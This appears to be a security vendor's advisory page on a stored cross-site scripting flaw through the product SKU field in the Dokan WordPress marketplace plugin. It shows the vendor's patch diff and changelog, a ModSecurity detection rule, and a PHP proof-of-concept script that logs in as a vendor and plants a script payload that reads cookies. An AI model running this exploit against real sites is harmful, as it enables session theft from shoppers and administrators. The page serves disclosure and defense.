 class VendorProductCategoriesController extends WC_REST_Product_Categories_Controller {
     /**
@@ -35,6 +36,19 @@
             )
         );

+        // Nested category tree for the product editor's hierarchical category picker.
+        register_rest_route(
+            $this->namespace,
+            '/' . $this->rest_base . '/tree',
+            array(
+                array(
+                    'methods'             => WP_REST_Server::READABLE,
+                    'callback'            => array( $this, 'get_tree' ),
+                    'permission_callback' => array( $this, 'get_items_permissions_check' ),
+                ),
+            )
+        );
+
         register_rest_route(
             $this->namespace,
             '/' . $this->rest_base . '/(?P<id>[d]+)',
@@ -104,4 +118,26 @@
         return parent::get_item( $request );
     }

+    /**
+     * Get the full nested product category tree.
+     *
+     * Returns the hierarchy as [ { value, label, children: [...] }, ... ] so the
+     * product editor can render an indented category picker without embedding the
+     * tree in the form schema.
+     *
+     * @since 5.0.5
+     *
+     * @param WP_REST_Request $request Full details about the request.
+     *
+     * @return WP_REST_Response
+     */
+    public function get_tree( $request ) {
+        $tree = apply_filters(
+            'dokan_rest_product_categories_tree',
+            ProductCategoryHelper::get_product_categories_tree( true ),
+            $request
+        );
+
+        return rest_ensure_response( $tree );
+    }
 }
--- a/dokan-lite/includes/functions-dashboard-navigation.php
+++ b/dokan-lite/includes/functions-dashboard-navigation.php
@@ -2,6 +2,7 @@

 use WeDevsDokanUtilitiesReportUtil;
 use WeDevsDokanDashboardTemplatesDashboard;
+use WeDevsDokanAdminDashboardLegacySwitcher;

 /**
  * Sort navigation menu items by position
@@ -29,6 +30,10 @@
  * @return array
  */
 function dokan_get_dashboard_nav(): array {
+    // The "Vendor Product Editor" setting drives the whole product UI, so the legacy editor also keeps the legacy listing page.
+    // TODO: Drop this toggle once the legacy product pages are removed — then always register the new (React) product page.
+    $use_new_product_ui = ! dokan_get_container()->get( LegacySwitcher::class )->is_product_editor_legacy_preferred();
+
     $menus = [
         'dashboard' => [
             'title'      => __( 'Dashboard', 'dokan-lite' ),
@@ -41,11 +46,10 @@
         'products'  => [
             'title'      => __( 'Products', 'dokan-lite' ),
             'icon'       => '<i class="fas fa-briefcase"></i>',
-            'url'        => dokan_get_navigation_url( 'products' ),
+            'url'        => dokan_get_navigation_url( 'products', $use_new_product_ui ),
             'pos'        => 30,
             'icon_name'  => 'Box',
             'permission' => 'dokan_view_product_menu',
-            'react_route' => 'products',
         ],
         'orders'    => [
             'title'       => __( 'Orders', 'dokan-lite' ),
--- a/dokan-lite/includes/functions.php
+++ b/dokan-lite/includes/functions.php
@@ -19,9 +19,13 @@
  *
  * @since 3.0.0
  *
+ * @deprecated 5.0.5 Misspelled name; use dokan_admin_menu_capability() instead.
+ *
  * @return string
  */
 function dokana_admin_menu_capability() {
+    wc_deprecated_function( 'dokana_admin_menu_capability', '5.0.5', 'dokan_admin_menu_capability()' );
+
     return dokan_admin_menu_capability();
 }

--- a/dokan-lite/templates/whats-new.php
+++ b/dokan-lite/templates/whats-new.php
@@ -4,6 +4,44 @@
  */
 $changelog = [
     [
+        'version'  => 'Version 5.0.5',
+        'released' => '2026-06-19',
+        'changes'  => [
+            'Improvement' => [
+                [
+                    'title'       => 'Migrated all admin dashboard tables to the unified Plugin UI DataViews component.',
+                    'description' => '',
+                ],
+                [
+                    'title'       => 'Updated price formatting in the product editor to use locale-specific display.',
+                    'description' => '',
+                ],
+            ],
+            'Fix' => [
+                [
+                    'title'       => 'Lazy-loaded product editor taxonomies (attributes, categories, and tags) to prevent memory exhaustion on large catalogues.',
+                    'description' => '',
+                ],
+                [
+                    'title'       => 'Escaped vendor-controlled values in store product search results to prevent stored XSS via a product SKU.',
+                    'description' => '',
+                ],
+                [
+                    'title'       => 'Restricted the Products REST endpoint so vendors can no longer access other vendors' products via the id parameter.',
+                    'description' => '',
+                ],
+                [
+                    'title'       => 'Decoded HTML entities in product category labels for correct rendering.',
+                    'description' => '',
+                ],
+                [
+                    'title'       => 'Corrected the product edit URL and improved dashboard navigation for the new product UI.',
+                    'description' => '',
+                ],
+            ],
+        ],
+    ],
+    [
         'version'  => 'Version 5.0.4',
         'released' => '2026-06-08',
         'changes'  => [
--- a/dokan-lite/vendor/composer/installed.php
+++ b/dokan-lite/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'wedevs/dokan',
-        'pretty_version' => 'v5.0.4',
-        'version' => '5.0.4.0',
-        'reference' => 'b41469e02ac35d3fd21f81c4ecee91f789478df1',
+        'pretty_version' => 'v5.0.5',
+        'version' => '5.0.5.0',
+        'reference' => '247986f9d91343515908c75f952ceb81d1753008',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -38,9 +38,9 @@
             'dev_requirement' => false,
         ),
         'wedevs/dokan' => array(
-            'pretty_version' => 'v5.0.4',
-            'version' => '5.0.4.0',
-            'reference' => 'b41469e02ac35d3fd21f81c4ecee91f789478df1',
+            'pretty_version' => 'v5.0.5',
+            'version' => '5.0.5.0',
+            'reference' => '247986f9d91343515908c75f952ceb81d1753008',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-11783
# Blocks XSS injection in product SKU via WordPress REST API
SecRule REQUEST_URI "@beginsWith /wp-json/wc/v3/products" 
  "id:202611783,phase:2,deny,status:403,chain,msg:'Stored XSS via product SKU (CVE-2026-11783)',severity:'CRITICAL',tag:'CVE-2026-11783'"
  SecRule ARGS:sku "@rx <[^>]*(?:script|onerror|onload|onclick|onmouseover|onfocus|onblur|onchange|onsubmit|onreset|onselect|onkeydown|onkeypress|onkeyup)[^>]*>" 
    "t:lowercase,t:urlDecode"
# Block XSS in SKU via admin-ajax.php (Dokan search AJAX)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202611784,phase:2,deny,status:403,chain,msg:'Stored XSS via product SKU (CVE-2026-11783)',severity:'CRITICAL',tag:'CVE-2026-11783'"
  SecRule ARGS_POST:action "@streq dokan_search_product" 
    "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11783 - Dokan: AI Powered WooCommerce Multivendor Marketplace Solution <= 5.0.4 - Authenticated (Custom+) Stored Cross-Site Scripting via Product SKU

$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'vendor'; // Valid vendor/store manager credentials
$password = 'password';

// 1. Authenticate
$ch = curl_init($target_url . '/wp-login.php');
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'rememberme' => 'forever',
        'wp-submit' => 'Log In'
    ]),
    CURLOPT_COOKIEJAR => '/tmp/cookies_cve202611783.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
]);
curl_exec($ch);
curl_close($ch);

// 2. Get WooCommerce product edit nonce and create a product with malicious SKU
$ch = curl_init($target_url . '/wp-admin/edit.php?post_type=product');
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/cookies_cve202611783.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
]);
$response = curl_exec($ch);
curl_close($ch);

// Extract WooCommerce nonce from the page
preg_match('/<input type="hidden" id="_wpnonce" name="_wpnonce" value="([a-f0-9]+)" />/', $response, $matches);
$wc_nonce = $matches[1] ?? '';

if (empty($wc_nonce)) {
    die('Failed to extract WooCommerce nonce.n');
}

// 3. Create new product with XSS payload in SKU
$xss_payload = '"<script>alert(document.cookie)</script>';
$product_data = [
    'name' => 'Test Product XSS',
    'sku' => $xss_payload,
    'regular_price' => '10.00',
    'description' => 'XSS test product',
    'short_description' => 'XSS test',
    'stock_status' => 'instock',
    'manage_stock' => false,
    'categories' => [['id' => 1]],
];

$ch = curl_init($target_url . '/wp-json/wc/v3/products');
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/json',
        'X-WP-Nonce: ' . $wc_nonce,
    ],
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode($product_data),
    CURLOPT_COOKIEFILE => '/tmp/cookies_cve202611783.txt',
    CURLOPT_SSL_VERIFYPEER => false,
]);
$product_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: $http_coden";
echo "Product creation response: $product_responsen";

// 4. Verify stored XSS - trigger search widget
$ch = curl_init($target_url . '/?s=Test+Product+XSS&post_type=product&type_aws=true');
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/cookies_cve202611783.txt',
    CURLOPT_SSL_VERIFYPEER => false,
]);
$search_result = curl_exec($ch);
curl_close($ch);

echo "nSearch result (check for unescaped script):n";
echo $search_result;

// Clean up cookie file
unlink('/tmp/cookies_cve202611783.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School